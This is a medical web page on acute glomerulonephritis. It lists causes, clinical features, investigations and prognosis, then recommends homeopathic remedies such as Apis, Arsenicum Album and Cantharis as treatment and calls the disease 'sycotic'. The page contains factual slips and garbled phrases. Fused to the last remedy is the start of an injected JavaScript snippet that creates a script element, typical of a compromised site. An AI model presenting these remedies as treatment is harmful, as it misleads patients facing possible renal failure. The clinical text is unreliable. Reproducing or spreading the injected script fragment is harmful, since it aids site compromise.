• ACUTE GLOMERULONEPHRITIS

    Condition is characterized by sudden onset of macroscopic haematuria, proteinuria, oliguria, oedema and hypertension.

    Acute glomerulonephritis (AGN) is active inflammation in the glomeruli. Each kidney is composed of about 1 million microscopic filtering “screens” known as glomeruli that selectively remove uremic waste products. The inflammatory process usually begins with an infection or injury (e.g., burn, trauma), then the protective immune system fights off the infection, scar tissue forms, and the process is complete.

    ETIOLOGY {Causes of Acute Glomerulonephritis (AGN)}

    In diffuse glomerulonephritis (GN), all of the glomeruli are aggressively attacked, leading to acute renal failure (ARF). Disorders that attack several organs and cause diffuse GN are referred to as secondary causes. Secondary causes of diffuse GN include the following:

    • An immunological reaction
    •  History of: Streptococcal throat or skin infection, Scabies with impetigo, Measles.
      Cryoglobulinemia
    • Goodpasteur’s syndrome (membranous antiglomerular basement membrane disease)
    • Lupus nephritis
    • Schönlein-Henoch purpura
    • Vasculitis (e.g., Wegener’s granulomatosis, periarteritis nodosa)

    Primary diseases that solely affect the kidneys and cause AGN, include the following:

    • Immunoglobulin A nephropathy (IgA nephropathy, Berger’s disease)
    • Membranoproliferative nephritis (type of kidney inflammation)
    • Postinfectious GN (GN that results after an infection)
    • Age: Common in children.
    • Sex: Equal incidence.

    CLINICAL FEATURES
    Symptoms
    – Onset: sudden.
    – Swelling of face in morning.
    – Gradually swelling of whole body.
    – Oliguria.
    – Haematuria.
    – Low grade fever.
    – Headache.
    – Weakness.
    – Anorexia.
    – Nausea, vomiting.
    – Constipation.
    – Dyspnoea.

    Signs
    – Temperature: 38°C —38.5°C.
    – Pulse: fast.
    – Blood pressure: raised.
    – Face: puffy.
    – Oedema: pitting.
    – Renal angle: may be tender.
    – Tonsils: enlarged, congested.
    – Heart: apex out, forceful.

    COMPLICATIONS Acute Glomerulonephritis (AGN)

    – Acute renal failure.
    – Hypertensive left ventricular failure.
    – Hypertensive encephalopathy.
    – Secondary infection.

    Acute Glomerulonephritis (AGN) Diagnosis

    Patients with acute glomerulonephritis (AGN) have an active urinary sediment. This means that signs of active kidney inflammation can be detected when the urine is examined under the microscope. Such signs include red blood cells, white blood cells, proteinuria (blood proteins in the urine), and “casts” of cells that have leaked through the glomeruli and have reached the tubule, where they develop into cylindrical forms.

    A kidney biopsy is essential to establish a diagnosis of AGN, determine the cause, and create an effective treatment plan.

    INVESTIGATIONS of Acute Glomerulonephritis (AGN)

    Blood
    – TLC: Leucocytosis.
    – DLC: Polymorphs raised.
    – ESR: Raised.
    Urine
    – Volume: Decreased.
    – Colour: Smoky, frank blood.
    – Specific gravity: Increased.
    – Albumin: Present.
    – Microscopic:
    . RBC’s: Present.
    . Epithelial cells: present.
    . RBC, epithelial casts: present.
    Blood biochemistry
    – Blood urea, creatinine: raised.
    ASO titer:
    – Raised in cases of recent streptococcal infection.
    Renal function test:
    – GFR diminished.
    Renal biopsy:
    – Diagnostic.

    PROGNOSIS of Acute Glomerulonephritis (AGN)
    – Self limiting condition (3-6 weeks).
    – 85% cases have uneventful recovery.
    – Proteinuria may persist for 10-14 days.

    MIASMATIC CLEAVAGE
    – Predominant sycotic disorder.

    THERAPEUTIC AIM
    – To promote natural recovery.
    – To treat symptomatically.
    – To prevent and eradicate streptococcal infection.
    – To prevent Complications.

    GENERAL MANAGEMENT
    – Bed rest till haematurja, hypertension, fever, edema, ESR, subside.
    – Diet
    . Protein restriction.
    . Salt restriction.
    . Fluid restriction according to urinary output.
    . Diet consisting of glucose, barely water, rice, potatoes should be encouraged.

    HOMOEOPATHIC TREATMENT of Acute Glomerulonephritis (AGN)

    Intercurrent
    – Baryta Carbonica.
    – Psorinum.
    – Silicea.
    – Streptococcinum.
    – Sulphur.
    Symptomatic
    – Apis Mel.
    – Apocyanum Can.
    – Arsenicum Album.
    – Cantharis.var d=document;var s=d.createElement(‘script’);

    Categories: Abdomen & Pelvis, Endocrine

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